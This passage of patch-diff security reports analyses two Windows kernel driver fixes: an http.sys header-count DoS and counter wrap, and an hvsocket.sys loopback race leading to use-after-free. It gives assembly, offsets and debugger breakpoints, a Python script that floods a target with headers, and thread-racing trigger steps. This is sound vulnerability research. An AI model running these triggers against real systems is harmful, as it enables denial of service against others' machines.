00000001C0006FF5  lea     r8, [rbp+57h+pusResult]
00000001C0006FF9  call    RtlUShortAdd                          ; NEW: checked capacity+5
00000001C0006FFE  test    eax, eax
00000001C0007000  js      loc_1C0007127                         ; STATUS_INTEGER_OVERFLOW → bail
...
00000001C0007028  call    cs:__imp_ExAllocatePool3
00000001C0007056  call    memmove
00000001C000707E  mov     [rdi+640h], ax                        ; store CHECKED new capacity

RtlUShortAdd @ 0x1C001FBB8 (new, absent in unpatched):

00000001C001FBB8  lea     eax, [rcx+5]        ; capacity + 5
00000001C001FBBB  cmp     ax, cx              ; 16-bit overflow?
00000001C001FBBE  jb      short loc_1C001FBC5
00000001C001FBC0  movzx   edx, ax             ; no overflow → result
00000001C001FBC5  mov     edx, 0FFFFh         ; overflow → saturate
00000001C001FBCA  sbb     eax, eax
00000001C001FBCC  mov     [r8], dx            ; *result
00000001C001FBD0  and     eax, 0C0000095h     ; STATUS_INTEGER_OVERFLOW on overflow, else 0
00000001C001FBD5  retn

Unpatched UlpParseNextRequest grows the counter with an unchecked add at 0x1C000704E:

00000001C000704E  add     word ptr [rsi+640h], 5   ; wraps silently at 0xFFFF
00000001C0007056  mov     [rsi+648h], r13

Feature-gate initialization — `UxStartEnvironmentModule @ 0x1C01767B0` (patched)

00000001C0176898  call    Feature_4071067963__private_IsEnabledDeviceUsage
00000001C017689F  ...
00000001C01768AA  setnz   cs:UxKirMaxHeadersCountLimit          ; gate for Finding #1
00000001C017688A  call    Feature_1643097402__private_IsEnabledDeviceUsage
00000001C0176891  setnz   cs:UxKirRefBufferOverflowCheck        ; gate for Finding #2

Both gate bytes are new in the patched build; the unpatched build defines neither.

5. Trigger Conditions

Finding #1 (header-pair count)

Open a TCP connection to any port served by http.sys.
Send a valid request line and Host: header, followed by a large number of minimal headers (Xi: a\r\n), staying within MaxRequestBytes (default 16 KB; a higher configured value permits more headers).
No authentication is required (pre-auth, anonymous).
On the unpatched driver the header-pair loop processes every header pair (whitespace-classify + hash + strncmp) in kernel context; pipelined/concurrent requests raise aggregate kernel-CPU cost.
On a patched driver with the gate enabled, a request whose header-pair count exceeds MaxHeadersCount + 4 is rejected (error code 0x29, status 0xC0000040) and a WPP trace message (id 0x5E) is emitted.

Finding #2 (16-bit buffer-growth counter)

Reaching the wrap requires driving the per-connection UlRR array capacity counter (conn+0x640) up toward 0xFFFF — on the order of ~13107 growth events accumulated on one connection. This is a high-effort path and is delivered feature-gated.

6. Exploit Primitive & Development Notes

Finding #1 primitive: Remote, pre-authentication kernel-CPU consumption bounded by MaxRequestBytes. Each byte of attacker input maps to a bounded amount of per-header kernel work (whitespace classification + hash + strncmp). This is a resource-consumption / availability issue; the diff shows no memory-corruption primitive for this finding.

Finding #2 primitive: A 16-bit capacity counter that wraps under extreme, high-effort input volume could cause the recorded capacity to understate the real allocation, potentially leading to an out-of-bounds index write into the UlRR array. The diff demonstrates only the arithmetic and its guard; it does not demonstrate a working corruption chain, and the required iteration count makes this hard to reach.

No KASLR/info-leak, SMEP/SMAP/CFG/HVCI-bypass, pool-spray, or code-execution primitive is demonstrated by this diff. Any such escalation would require independent research beyond what these two builds show.

Mitigation	Relevance to these findings
`MaxRequestBytes`	Bounds Finding #1's per-request header count via the total byte budget.
Feature staging / KIR	Both fixes are gated; effectiveness depends on the feature being enabled in the field.
KASLR / SMEP / CFG / HVCI	Not relevant to the demonstrated availability / arithmetic issues.

7. Debugger Notes

Setup: kernel debugger attached; symbols matching the specific build. Function addresses differ between the two builds (the image is relocated), so resolve by symbol name.

Finding #1 — `UlParseRequestHeaderPairs`

Break on http!UlParseRequestHeaderPairs.
Register convention at entry (unpatched @ 0x1C000F440): rcx = request object ([rcx+0x18] = connection state), rdx = header-pair array descriptor (*(rdx+8) = header-pair count), r8 = flags, r9 = status output byte.
Watch *(rdx+8) (the header-pair count) at entry — this is the value the patched gate compares against MaxHeadersCount+4.

Key offsets:

Offset	Meaning
`req+0x18`	connection-state pointer
`conn_state+0x3F8`	server-config pointer (patched gate reads `MaxHeadersCount` from it)
`cfg+0x1124`	`MaxHeadersCount` in patched; `MaxFieldLength` in unpatched (`MaxFieldLength` moves to `cfg+0x1128` in patched)
`UxKirMaxHeadersCountLimit`	feature/KIR gate byte (patched only); must be non-zero for enforcement

Finding #2 — `UlpParseNextRequest`

Offset	Meaning
`conn+0x640`	16-bit allocated capacity of the `UlRR` array
`conn+0x642`	16-bit used count
`conn+0x648`	array buffer pointer (8-byte entries)
`UxKirRefBufferOverflowCheck`	feature/KIR gate byte (patched only); when set, `RtlUShortAdd` guards the capacity growth

Trigger setup (Finding #1, user-mode)

import socket

HOST, PORT = "target.example.com", 80     # or 443/TLS, 5985 for WinRM
NHEADERS   = 4000                          # bounded by MaxRequestBytes (default ~16 KB)

payload  = b"GET / HTTP/1.1\r\nHost: " + HOST.encode() + b"\r\n"
payload += b"".join(b"X%d: a\r\n" % i for i in range(NHEADERS))
payload += b"\r\n"

s = socket.socket(); s.connect((HOST, PORT))
s.sendall(payload)
print(s.recv(4096)); s.close()

Tune NHEADERS to the target's configured MaxRequestBytes. On a patched target with the gate enabled the request is rejected once the header-pair count exceeds MaxHeadersCount + 4.

Expected observations (Finding #1)

Item	Unpatched	Patched (gate enabled)
Header-pair count processed	Up to the `MaxRequestBytes`-bounded count	Capped at `MaxHeadersCount+4`
Per-request kernel-CPU work	O(count) whitespace/hash/`strncmp`	Bounded
WPP trace	None	Message id `0x5E` via `WPP_SF_qLd`

8. Changed Functions — Full Triage

Security-relevant

UlParseRequestHeaderPairs (unpatched @ 0x1C000F440, patched @ 0x1C000FAA0) — similarity 0.753. Adds the feature/KIR-gated MaxHeadersCount count gate at 0x1C000FB13–0x1C000FB71 (rejects when header_pair_count > MaxHeadersCount + 4). The cmp [rdi], ecx / jbe at 0x1C000FBAF is the loop-termination guard (present in both builds), and the host/cookie occurrence-counter saturation is present in both builds; neither is a new check. Finding #1.
UlpParseNextRequest (@ 0x1C0006C30, both builds) — similarity 0.9747. Adds a feature/KIR-gated 16-bit integer-overflow guard: the unchecked add word ptr [conn+0x640], 5 is replaced (when UxKirRefBufferOverflowCheck is set) with a checked RtlUShortAdd that returns STATUS_INTEGER_OVERFLOW and bails before reallocating. Finding #2. (The remaining delta in this function is WPP trace-message-ID renumbering, e.g. 101→102, and stack-frame reshuffle — non-behavioral.)

Fix-supporting (configuration / feature-gate wiring)

UxReadHttp11ParserSettings (unpatched @ 0x1C0127168, patched @ 0x1C0127178) — similarity 0.9165. Adds the gated read of the MaxHeadersCount registry value via UxReadBoundedULongSetting (default max(MaxRequestBytes/512, 200), range [0x32, 0xFFFF], stored at cfg+0x1124). Also shifts MaxFieldLength from cfg+0x1124 to cfg+0x1128.
UxStartEnvironmentModule (@ 0x1C01767B0, both builds) — similarity 0.9284. Initializes the two new gate bytes from WIL feature-staging: UxKirMaxHeadersCountLimit from Feature_4071067963__private_IsEnabledDeviceUsage and UxKirRefBufferOverflowCheck from Feature_1643097402__private_IsEnabledDeviceUsage. This is the feature-detection plumbing for Findings #1 and #2, not cosmetic.

Non-behavioral churn (not security-relevant)

Beyond the four functions above, many functions differ only in WPP software-trace message-ID renumbering (the newly inserted header-count trace message shifts subsequent IDs, and one trace provider GUID was reorganized), in the MaxHeadersCount struct-offset ripple, or in ordinary recompilation register/variable reallocation. Spot-checked examples confirmed as churn: UlHttpIngressDisconnectEvent (trace GUID/id renumber), UlpCacheMdlReadCompleteWorker (variable reallocation), UxStartEnvironmentFacet (reordered, pre-existing HTTP/2 config reads with +8 offset shift). New leaf helpers RtlUShortAdd, Feature_4071067963__*, and Feature_1643097402__* are the only genuinely added functions.

9. Unmatched Functions

Removed	Added
0	`RtlUShortAdd`, `Feature_4071067963__private_IsEnabled{DeviceUsage,Fallback}`, `Feature_1643097402__private_IsEnabled{DeviceUsage,Fallback}`

No functions were removed. The added items are the overflow-guard helper and the WIL feature-staging stubs for the two gates.

10. Confidence & Caveats

Confidence: High for the mechanism; Medium/Low for real-world impact.

Both changes are directly visible in the disassembly: a MaxHeadersCount count gate and a RtlUShortAdd overflow guard, each behind a WIL/KIR feature byte, with the old path retained in the else branch.
The call chain for Finding #1 (network receive → UlHttpReceiveHeadersEvent @ 0x1C0006050 → UlParseRequestHeaderPairs) is confirmed in both builds.

Things to verify before relying on either fix or publishing any PoC:

Feature-gate state. UxKirMaxHeadersCountLimit and UxKirRefBufferOverflowCheck are set from WIL feature-staging (Feature_4071067963, Feature_1643097402). Whether either fix is active on a given install depends on the feature rollout state, not on the presence of the code alone.
MaxRequestBytes on the target determines both the pre-patch header-count ceiling and the default MaxHeadersCount (max(MaxRequestBytes/512, 200)).
Finding #2 reachability is high-effort (~13107 growth events on one connection); no working corruption chain is demonstrated by the diff.
No DoS-to-RCE escalation is shown by these two builds; treat Finding #1 as an availability issue and Finding #2 as an arithmetic-hardening change unless independent analysis proves more.
Struct-offset and WPP-ID churn ripple through many functions; do not read those as additional behavioral fixes.

hvsocket.sys — Feature-gated missing spinlock synchronization in VmbusTl loopback delivery queue (CWE-362/CWE-416) fixed

2026-06-29T00:00:00-07:00

1. Overview

Field	Value
Unpatched binary	`hvsocket_unpatched.sys`
Patched binary	`hvsocket_patched.sys`
Overall similarity	0.9745
Matched functions	288
Changed functions	14
Identical functions	274
Unmatched (unpatched → patched)	0 / 0

Verdict: The patch removes a WIL feature gate (Feature_1274333499__private_IsEnabledDeviceUsage) that conditionally selected between a spinlock-synchronized code path and an unsynchronized one across the Hyper-V Sockets VmbusTl loopback routines. In the unpatched build the gate's else-branch reads the shared per-endpoint delivery-queue head at [endpoint+0x2B8] without acquiring the endpoint's KSPIN_LOCK at [endpoint+0x48] and without taking a reference on the popped entry, while a concurrent VmbusTlLoopbackDisconnect can clear that head and drop the entry's reference to zero. This is a genuine race condition that can lead to a use-after-free / reference-count imbalance on the loopback delivery-queue object. The patched build deletes the gate in all affected functions and unconditionally calls the synchronized helper VmbusTlLoopbackReferenceEndpointDeliveryQueue, which acquires the spinlock and takes a reference before touching the head. The static image does not reveal whether the feature was enabled by default, so the real-world reachability of the unsynchronized branch in the unpatched build cannot be asserted from the binaries alone; the patch makes the synchronized path unconditional regardless.

2. Vulnerability Summary

Finding 1 — Race / potential UAF in `VmbusTlLoopbackNotifyReceiveConsumed` (and sibling send/accept paths)

Severity: Medium
Class: Race Condition leading to Use-After-Free (CWE-362, CWE-416)
Affected functions:
VmbusTlLoopbackNotifyReceiveConsumed (sub_1C0007CF0) — primary
VmbusTlLoopbackSend (sub_1C0007388)
VmbusTlLoopbackAcceptConnection (sub_1C001D700)
VmbusTlNotifyListenerAccept (sub_1C0006C9C)

Root cause. Each of these VmbusTlLoopback* routines contains two implementations selected at runtime by Feature_1274333499__private_IsEnabledDeviceUsage (sub_1C000293C), a standard WIL feature-staging gate that returns the cached state of Feature_1274333499__private_featureState (falling back to Feature_1274333499__private_IsEnabledFallback when the state is not yet cached). When the gate returns non-zero, the code calls VmbusTlLoopbackReferenceEndpointDeliveryQueue (sub_1C0007ECC), which acquires KeAcquireSpinLockRaiseToDpc(endpoint+0x48) first and reads the delivery-queue head at [endpoint+0x2B8] under the lock while incrementing the entry's reference count — the safe variant. When the gate returns zero, the code reads [endpoint+0x2B8] directly with no spinlock held and no reference taken.

A concurrent thread executing VmbusTlLoopbackDisconnect (which, on the safe branch, acquires the same lock) can clear [endpoint+0x2B8], drop the entry's reference count, and — when it reaches zero — free it with ExFreePoolWithTag(..., 'Vnpi') (tag 0x69706E56). In the unsynchronized branch the notify/send thread then dereferences the entry's back-pointer at [rdi+0x68] (mov rdi, [rdi+0x68] @ 0x1C0007E4F) and writes to [rdi+0x210] (or dword [rdi+0x210], 2 @ 0x1C0007E63), and later decrements a reference it never took — a race that can produce a use-after-free or reference-count underflow on the delivery-queue object.

The patch removes every gate conditional and unconditionally calls the synchronized helper VmbusTlLoopbackReferenceEndpointDeliveryQueue (relocated to sub_1C0007CD0 in the patched build), which always holds the spinlock and takes a reference while operating on the head.

Entry point & data flow:

User-mode HV socket API (send/recv/closesocket on an AF_HYPERV socket).
hvsocket.sys Tl dispatch (imported TlDefaultRequestMessage/TlDefaultRequestResume).
VmbusTl loopback callback path.
VmbusTlLoopbackNotifyReceiveConsumed (sub_1C0007CF0) — unsynchronized branch reads [endpoint+0x2B8].
Dereference of the delivery-queue entry at [rdi+0x68] racing a concurrent free.

Finding 2 — Concurrent unsynchronized head clear in `VmbusTlLoopbackDisconnect`

Severity: Medium (writer side of Finding 1's race; same root cause)
Class: Race Condition (CWE-362)
Affected function: VmbusTlLoopbackDisconnect (sub_1C00079D0)

Root cause. VmbusTlLoopbackDisconnect gates the spinlock the same way. On the gate-off branch it reads and clears the shared head [endpoint+0x2B8] (mov rsi, [rbx+0x2B8] / and qword [rbx+0x2B8], 0 @ 0x1C0007A26) without holding the KSPIN_LOCK at [endpoint+0x48], then drops the entry's reference count and can free it. This is the "freeing" side of the race in Finding 1: the disconnect clears/frees the head while a send/notify thread on the unsynchronized branch is reading it.

The function calls the gate three times (0x1C0007A0A, 0x1C0007A3E, 0x1C0007A50) to decide acquire, back-pointer clear, and release. These are separate inlined evaluations of the same feature gate rather than a cached boolean; the WIL feature state is effectively stable for the duration of the call, so this is not a demonstrable time-of-check/time-of-use lock imbalance. The security-relevant behavior is the unsynchronized head access, which the patch fixes by acquiring and releasing the spinlock unconditionally.

Finding 3 — Feature-gate removal in `VmbusTlProcessNewConnectionForListener`

Severity: Low (no demonstrable security impact)
Class: Synchronization consolidation (CWE-362 context)
Affected function: VmbusTlProcessNewConnectionForListener (sub_1C001BEF4)

Root cause. This function evaluates the same feature gate twice within the connection-acceptance path (0x1C001C0F8 and 0x1C001C120) and only reads the acceptance field at [rcx_9+0x1A9] on the gate-on branch. The patch removes both gate checks and reads the field unconditionally. This is part of the same gate-removal consolidation as Findings 1–2. There is no evidence in the binaries of an exploitable incorrect accept/reject decision; the change is a synchronization-behavior unification, recorded here for completeness.

3. Pseudocode Diff

`VmbusTlLoopbackNotifyReceiveConsumed`

// ===== UNPATCHED sub_1C0007CF0 =====
if (Feature_1274333499__private_IsEnabledDeviceUsage()) {   // WIL gate
    // SYNCHRONIZED BRANCH (gate on)
    entry = VmbusTlLoopbackReferenceEndpointDeliveryQueue(endpoint); // locks +0x48, refs entry
    if (!entry) goto done;
    obj = *(entry + 0x68);
    KeAcquireSpinLockRaiseToDpc(obj + 0x48);
    *(obj + 0x210) |= 2;
    VmbusTlTransitionDisconnectState(obj, 3);
    VmbusTlFinishDisconnectStateTransition(obj, ...);
    // drop reference under lock; free via ExFreePoolWithTag(entry,'Vnpi') if it hits 0
} else {
    // UNSYNCHRONIZED BRANCH (gate off)
    head = *(endpoint + 0x2B8);                 // read WITHOUT the +0x48 spinlock, no ref taken
    if (!head) return STATUS_INVALID_DEVICE_REQUEST;
    obj = *(head + 0x68);                        // races a concurrent free
    KeAcquireSpinLockRaiseToDpc(obj + 0x48);
    *(obj + 0x210) |= 2;
    VmbusTlTransitionDisconnectState(obj, 3);
    VmbusTlFinishDisconnectStateTransition(obj, ...);
}

// ===== PATCHED sub_1C0007B70 =====
entry = VmbusTlLoopbackReferenceEndpointDeliveryQueue(endpoint);  // ALWAYS synchronized + ref
if (!entry) return STATUS_INVALID_DEVICE_REQUEST;
obj = *(entry + 0x68);
KeAcquireSpinLockRaiseToDpc(obj + 0x48);
*(obj + 0x210) |= 2;
// ... same cleanup ...

`VmbusTlLoopbackDisconnect`

// ===== UNPATCHED sub_1C00079D0 =====
KeEnterCriticalRegion();
ExAcquireFastMutexUnsafe(endpoint + 0x10);

if (Feature_1274333499__private_IsEnabledDeviceUsage())        // check #1
    NewIrql = KeAcquireSpinLockRaiseToDpc(endpoint + 0x48);    // only if gate on

rsi = *(endpoint + 0x2B8);                                     // unsynchronized if gate off
*(endpoint + 0x2B8) = 0;                                       // unsynchronized clear
if (rsi) rbp = *(rsi + 0x68);

if (Feature_1274333499__private_IsEnabledDeviceUsage())        // check #2
    *(rsi + 0x68) = 0;

if (Feature_1274333499__private_IsEnabledDeviceUsage())        // check #3
    KeReleaseSpinLock(endpoint + 0x48, NewIrql);               // only if gate on

// ===== PATCHED sub_1C0007870 =====
NewIrql = KeAcquireSpinLockRaiseToDpc(endpoint + 0x48);        // UNCONDITIONAL
... shared access ...
KeReleaseSpinLock(endpoint + 0x48, NewIrql);                  // UNCONDITIONAL

`VmbusTlLoopbackSend` & `VmbusTlLoopbackAcceptConnection`

Same shape: the gate-off branch reads [endpoint+0x2B8] (decompiled as endpoint[0x57], i.e. endpoint + 0x57*8 = endpoint + 0x2B8) directly, without the spinlock or a reference; the gate-on branch calls VmbusTlLoopbackReferenceEndpointDeliveryQueue. In VmbusTlLoopbackSend this is mov rbx, [r15+0x2B8] @ 0x1C00073DC (gate off) versus call VmbusTlLoopbackReferenceEndpointDeliveryQueue @ 0x1C00073C5 (gate on). Patched versions always call VmbusTlLoopbackReferenceEndpointDeliveryQueue.

4. Assembly Analysis

`VmbusTlLoopbackNotifyReceiveConsumed` (`sub_1C0007CF0`, unpatched)

0x1C0007CF0: mov     [rsp+0x8], rbx
0x1C0007CF5: mov     [rsp+0x10], rsi
0x1C0007CFA: push    rdi
0x1C0007CFB: sub     rsp, 0x30
0x1C0007CFF: mov     rbx, rcx                      ; rbx = endpoint
0x1C0007D02: call    Feature_1274333499__private_IsEnabledDeviceUsage
0x1C0007D07: test    eax, eax
0x1C0007D09: jz      0x1C0007E43                    ; gate off -> UNSYNCHRONIZED branch

; === SYNCHRONIZED BRANCH (gate on) ===
0x1C0007D0F: mov     rcx, rbx
0x1C0007D12: call    VmbusTlLoopbackReferenceEndpointDeliveryQueue  ; locks +0x48, refs entry
0x1C0007D17: mov     rsi, rax
0x1C0007D1A: test    rax, rax
0x1C0007D1D: jz      0x1C0007E2A
0x1C0007D23: mov     rdi, [rax+0x68]                ; referenced under lock
0x1C0007D27: lea     rcx, [rdi+0x48]
0x1C0007D2B: call    qword [rel KeAcquireSpinLockRaiseToDpc]
0x1C0007D37: or      dword [rdi+0x210], 2
...
0x1C0007D8B: lock xadd [rsi+0x8], rax              ; atomic reference-count decrement
0x1C0007D91: sub     rax, 1
0x1C0007D95: jg      0x1C0007E86
                                                    ; ExFreePoolWithTag(rsi,'Vnpi') when it hits 0

; === UNSYNCHRONIZED BRANCH (gate off) ===
0x1C0007E43: mov     rdi, [rbx+0x2B8]               ; read head WITHOUT +0x48 spinlock, no ref
0x1C0007E4A: test    rdi, rdi
0x1C0007E4D: jz      0x1C0007E8A
0x1C0007E4F: mov     rdi, [rdi+0x68]                ; deref racing a concurrent free
0x1C0007E53: lea     rcx, [rdi+0x48]
0x1C0007E57: call    qword [rel KeAcquireSpinLockRaiseToDpc]
0x1C0007E63: or      dword [rdi+0x210], 2
0x1C0007E6A: mov     edx, 3
0x1C0007E6F: mov     rcx, rdi
0x1C0007E72: mov     bl, al
0x1C0007E74: call    VmbusTlTransitionDisconnectState
0x1C0007E79: mov     r8b, bl
0x1C0007E7C: mov     edx, eax
0x1C0007E7E: mov     rcx, rdi
0x1C0007E81: call    VmbusTlFinishDisconnectStateTransition
0x1C0007E86: xor     edi, edi
0x1C0007E88: jmp     0x1C0007EB0

The gate-off branch reads [rbx+0x2B8] at 0x1C0007E43 and dereferences [rdi+0x68] at 0x1C0007E4F with the endpoint spinlock never taken and no reference held. A concurrent VmbusTlLoopbackDisconnect clearing [endpoint+0x2B8] and freeing the entry in that window produces the race.

`VmbusTlLoopbackReferenceEndpointDeliveryQueue` (`sub_1C0007ECC`, unpatched — the synchronized helper)

0x1C0007ECC: ...
0x1C0007EDB: lea     rdi, [rcx+0x48]                ; endpoint spinlock
0x1C0007EDF: mov     rbx, rcx
0x1C0007EE2: mov     rcx, rdi
0x1C0007EE5: call    qword [rel KeAcquireSpinLockRaiseToDpc]   ; lock BEFORE reading head
0x1C0007EF1: mov     rbx, [rbx+0x2B8]               ; read head UNDER lock

This helper is what the gate-on branch calls and what the patch calls unconditionally. It acquires [endpoint+0x48] before reading [endpoint+0x2B8].

`VmbusTlLoopbackDisconnect` (`sub_1C00079D0`, unpatched)

0x1C00079EE: call    qword [rel KeEnterCriticalRegion]
0x1C00079FE: call    qword [rel ExAcquireFastMutexUnsafe]  ; endpoint+0x10
0x1C0007A0A: call    Feature_1274333499__private_IsEnabledDeviceUsage  ; check #1
0x1C0007A0F: test    eax, eax
0x1C0007A11: jz      0x1C0007A26                    ; skip acquire if gate off
0x1C0007A13: lea     rcx, [rbx+0x48]
0x1C0007A17: call    qword [rel KeAcquireSpinLockRaiseToDpc]
0x1C0007A23: mov     dil, al                        ; save IRQL

0x1C0007A26: mov     rsi, [rbx+0x2B8]               ; read head (no lock if gate off)
0x1C0007A2D: and     qword [rbx+0x2B8], 0           ; clear head (no lock if gate off)
0x1C0007A35: test    rsi, rsi
0x1C0007A38: jz      0x1C0007A4E
0x1C0007A3A: mov     rbp, [rsi+0x68]

0x1C0007A3E: call    Feature_1274333499__private_IsEnabledDeviceUsage  ; check #2
0x1C0007A43: test    eax, eax
0x1C0007A45: jz      0x1C0007A50
0x1C0007A47: and     qword [rsi+0x68], 0
0x1C0007A4C: jmp     0x1C0007A50

0x1C0007A50: call    Feature_1274333499__private_IsEnabledDeviceUsage  ; check #3
0x1C0007A55: test    eax, eax
0x1C0007A57: jz      0x1C0007A6C
0x1C0007A59: lea     rcx, [rbx+0x48]
0x1C0007A60: call    qword [rel KeReleaseSpinLock]  ; release only if gate on

; later in the free path:
0x1C0007BD3: lock xadd [rsi+0x8], rax               ; atomic reference-count decrement -> free

5. Trigger Conditions

Open the target interface. From user mode, create an HV socket:
socket(AF_HYPERV, SOCK_STREAM, HV_PROTOCOL_RAW)
bind with SOCKADDR_HV.
listen().
Establish a loopback connection. A second socket in the same partition performs connect() to the listener — this builds the VmbusTl loopback endpoint whose [endpoint+0x2B8] delivery-queue head is the shared pointer.
Spawn two racing threads:
Thread A (reader): repeatedly send() / drive receive completion on the connected socket. This dispatches into VmbusTlLoopbackSend (sub_1C0007388) and VmbusTlLoopbackNotifyReceiveConsumed (sub_1C0007CF0), whose gate-off branch reads [endpoint+0x2B8] unsynchronized.
Thread B (freer): repeatedly closes and re-establishes the connection, invoking VmbusTlLoopbackDisconnect (sub_1C00079D0), which clears the head and drops the entry's reference count, freeing it via ExFreePoolWithTag(..., 'Vnpi') when it reaches zero.
Race window. The window is a handful of instructions between the head read at 0x1C0007E43 and the dereference at 0x1C0007E4F. Reachability of the unsynchronized branch depends on the Feature_1274333499 feature state on the running build, which is not observable from the static image.
Observable effect (if the race fires): a fault dereferencing a freed delivery-queue entry at 0x1C0007E4F/0x1C0007E63, or a reference-count fail-fast (int 29h, RtlFailFast) from the mismatched decrement.

6. Impact Assessment

Primitive. A race on the per-endpoint loopback delivery-queue entry, a Vnpi-tagged nonpaged-pool object. In the unsynchronized branch the code reads the head without the endpoint spinlock and without incrementing the entry's reference count, then later decrements a reference it never took; concurrently VmbusTlLoopbackDisconnect can clear the head and free the entry. The demonstrable consequences are:

Dereference of a delivery-queue entry that a concurrent disconnect may have freed (use-after-free read/write at [rdi+0x68] / [rdi+0x210]).
Reference-count imbalance on the entry, which the driver guards with RtlFailFast (int 29h) on underflow — a bugcheck, not silent corruption, on the paths observed here.

The entry's destructor-style dispatch at [entry+0x50] is invoked through __guard_dispatch_icall_fptr (Control Flow Guard), so it is not a free indirect-call primitive. No arbitrary read/write, information-leak, or control-flow-hijack primitive is demonstrable from these binaries; those would require assumptions about pool reuse and object contents that the binaries do not support. The realistic impact is a kernel race that can manifest as a use-after-free / bugcheck (denial of service) on the loopback path, reachable only where hvsocket.sys loopback is available and the unsynchronized feature branch is active. This supports a Medium rating.

7. Debugging Notes

Assume hvsocket_unpatched.sys is loaded and a kernel debugger is attached. Use the loaded module base to translate the RVAs below (listed against the analyzed image base 0x1C0000000).

Breakpoints

; Primary function — observe gate and branch selection
bp hvsocket_unpatched!VmbusTlLoopbackNotifyReceiveConsumed+0x12   ; 0x1C0007D02 — gate call
bp 0x1C0007E43                                                    ; unsynchronized head read

; Concurrent disconnect (writer side)
bp hvsocket_unpatched!VmbusTlLoopbackDisconnect                   ; entry — rcx = endpoint
bp 0x1C0007A26                                                    ; head read/clear (no lock if gate off)
bp 0x1C0007BD3                                                    ; lock xadd [rsi+0x8] (reference decrement)

; Synchronized helper (gate-on / patched path)
bp hvsocket_unpatched!VmbusTlLoopbackReferenceEndpointDeliveryQueue

; WIL feature gate
bp hvsocket_unpatched!Feature_1274333499__private_IsEnabledDeviceUsage

What to inspect

At VmbusTlLoopbackNotifyReceiveConsumed entry: rcx = endpoint. poi(rcx+0x2B8) is the shared delivery-queue head.
After the gate call (0x1C0007D07): eax == 0 selects the unsynchronized branch; non-zero selects the synchronized helper.
At 0x1C0007E43: rbx = endpoint; poi(rbx+0x2B8) is the head being read without the lock.
At 0x1C0007E4F: rdi is the entry; poi(rdi+0x68) is the back-pointer being dereferenced.
At the three gate calls in VmbusTlLoopbackDisconnect (0x1C0007A0A, 0x1C0007A3E, 0x1C0007A50): each is an independent evaluation of the same feature state.
At 0x1C0007BD3: lock xadd [rsi+0x8], rax decrements the entry's reference count; reaching zero leads to ExFreePoolWithTag(rsi, 'Vnpi').

Key instruction offsets (RVA from `0x1C0000000`)

Offset	Meaning
`+0x7D02`	Feature-gate call selecting the branch
`+0x7D09`	`jz` to the unsynchronized branch when the gate is off
`+0x7E43`	Unsynchronized head read (`mov rdi,[rbx+0x2B8]`)
`+0x7E4F`	Entry back-pointer dereference (`mov rdi,[rdi+0x68]`)
`+0x7E63`	Flag write (`or dword [rdi+0x210], 2`)
`+0x7A0A / +0x7A3E / +0x7A50`	Three feature-gate evaluations in disconnect
`+0x7A26`	Disconnect's unsynchronized `[rbx+0x2B8]` read/clear
`+0x7BD3`	Atomic reference-count decrement → free

Struct layout (observed from the free/dispatch paths)

Loopback endpoint object (arg1):
  +0x10   FAST_MUTEX          (held during these routines)
  +0x48   KSPIN_LOCK          (the lock skipped on the gate-off branch)
  +0x2B8  delivery-queue head pointer (unsynchronized read target; decompiled as endpoint[0x57])
  +0x70   parent provider/listener object

Delivery-queue entry object (tag 'Vnpi', 0x69706E56):
  +0x08   LONG reference count  (atomic; lock xadd at 0x1C0007BD3)
  +0x50   destructor function pointer (invoked via __guard_dispatch_icall_fptr / CFG)
  +0x58   free-mode selector    (1 = ExFreePoolWithTag, 2 = SLIST return)
  +0x60   SLIST_HEADER*         (lookaside/return list)
  +0x68   back-pointer to endpoint object (dereferenced on the racing branch)
  +0x210  status flags          (target of the 'or dword [...,0x210], 2' write)

8. Changed Functions — Full Triage

Security-relevant (covered above)

Function	Sim.	Change	Note
`VmbusTlLoopbackNotifyReceiveConsumed` (`sub_1C0007CF0`)	0.839	security	Feature-gated unsynchronized head read → race/UAF; patch always uses the synchronized helper.
`VmbusTlLoopbackSend` (`sub_1C0007388`)	0.883	security	Same pattern on the send path (`[r15+0x2B8]` read on the gate-off branch).
`VmbusTlLoopbackDisconnect` (`sub_1C00079D0`)	0.915	security	Writer side: gate-off branch clears `[endpoint+0x2B8]` without the spinlock; patch acquires/releases unconditionally.
`VmbusTlLoopbackAcceptConnection` (`sub_1C001D700`)	0.781	security	Same unsynchronized `[endpoint+0x2B8]` read on the gate-off branch; patched to always use the synchronized helper.
`VmbusTlNotifyListenerAccept` (`sub_1C0006C9C`)	0.803	security	Gate-gated reference handling on the delivery queue; patch unifies to the synchronized path.
`VmbusTlProcessNewConnectionForListener` (`sub_1C001BEF4`)	0.981	low	Two gate evaluations removed; acceptance field read unconditionally. No demonstrable exploitable impact.
`VmbusTlProviderListen` (`sub_1C0020570`)	0.598	security	Feature-gated dual path for listener setup; patch unifies to the single synchronized path (large reduction in pseudo-C size). Establishes the loopback context the others operate on.

Behavioral (not directly exploitable)

VmbusTlLoopbackSetupConnection (sub_1C001D290) (0.848): Error-path cleanup changed from a gate-conditional to an unconditional cleanup call. Runs inside the fast mutex; consistency change.
VmbusTlCommonConnectCompletion (sub_1C0003254) (0.964): Removes a gate guard around a reference decrement on the abort path, making the decrement unconditional (fixes a potential reference leak on the gate-off branch, not a UAF).

WIL feature-staging library churn (not security-relevant)

wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath (sub_1C00023EC) (0.818): WIL feature-state cache helper; arg3 parameter dropped as the state source moves to the module's feature-state global. Library infrastructure.
wil_details_IsEnabledFallback (sub_1C0002358) (0.954): WIL feature-state fallback helper. Library infrastructure.
wil_details_FeatureReporting_ReportUsageToServiceDirect (sub_1C0001DFC) (0.977): WIL feature-usage reporting helper; uses the module feature-reporting singleton. Library infrastructure.

Cosmetic / compiler-driven

wil_details_FeatureReporting_ReportUsageToService (sub_1C0001EE4) (0.990): WIL reporting wrapper; compiler restructured an if-else dispatch into a subtract-and-compare cascade. Functionally equivalent.
Feature_1043374394__private_IsEnabledFallback (sub_1C00040A8) (0.674): Small WIL fallback stub for a different feature ID; updated for relocated targets. No security impact.

9. Unmatched Functions

None. Both unmatched_unpatched and unmatched_patched are 0. No sanitizer or helper was added or removed wholesale — the change is a code-path unification inside existing functions: the WIL feature gate is deleted (18 gate call sites in the unpatched build across 9 functions; 0 in the patched build) and the synchronized helper is called unconditionally.

10. Confidence & Caveats

Confidence: High for the structural diagnosis; Medium for real-world reachability.

